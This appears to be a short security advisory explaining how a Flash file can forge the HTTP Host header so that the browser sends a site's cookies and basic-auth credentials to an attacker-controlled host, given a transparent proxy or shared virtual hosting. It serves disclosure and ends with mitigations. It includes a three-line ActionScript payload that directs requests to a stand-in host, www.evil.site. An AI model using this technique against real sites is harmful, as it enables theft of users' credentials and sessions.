Technical note: under some conditions, it's possible to steal HTTP credentials using Flash (requires IE + some transparent proxies or virtual hosting) The method described here is pretty simple. It works though only on HTTP (not HTTPS) credentials. Also, it works only when the client browses (using IE) through certain types of transparent proxies (or the target server is virtually hosted together with an attacker site). The idea is to force a Host request header, using Flash (this idea was presented in "Forging HTTP request headers with Flash", http://www.securityfocus.com/archive/1/441014). A victim (browser) is presented with a Flash resource (say, http://www.evil.site/attack.swf) that contains the following ActionScript code: var req:LoadVars=new LoadVars(); req.addRequestHeader("Host:","www.evil.site"); req.send("http://www.target.site/some/path/","_blank"); The browser assumes that the request goes to http://www.target.site/some/path/, so it adds whatever credentials that are relevant (non secure cookies - including HttpOnly cookies, HTTP basic auth, etc.). But the actual request has a different Host header. The request goes to the IP address of www.target.site. However, a transparent proxy (e.g. one operated by the victim's ISP, intercepting all port 80 traffic) may disregard the original destination IP address and send the request to the IP address of www.evil.site (I noticed some popular transparent proxies do that). Even if no such proxy server exists, the attacker may acquire web presence on the same IP address with www.target.site, park the domain www.evil.site there, and when the request arrives to the web server, it will go to www.evil.site. Note that the Host header modification in order to steal credentials was discussed in "XS(T) attack variants which can, in some cases,eliminate the need for TRACE", http://www.securityfocus.com/archive/107/308433, yet at that time it seemed that the only way to force such header was from XmlHttpRequest, which necessiates XSS condition (due to the "same origin" policy). With Flash, this same origin policy doesn't apply, hence no need for XSS condition. Recommendation: 1. Use SSL (HTTPS), and set the secure bit of the cookie accordingly. 2. Do not use virtual hosting with possibly malicious websites.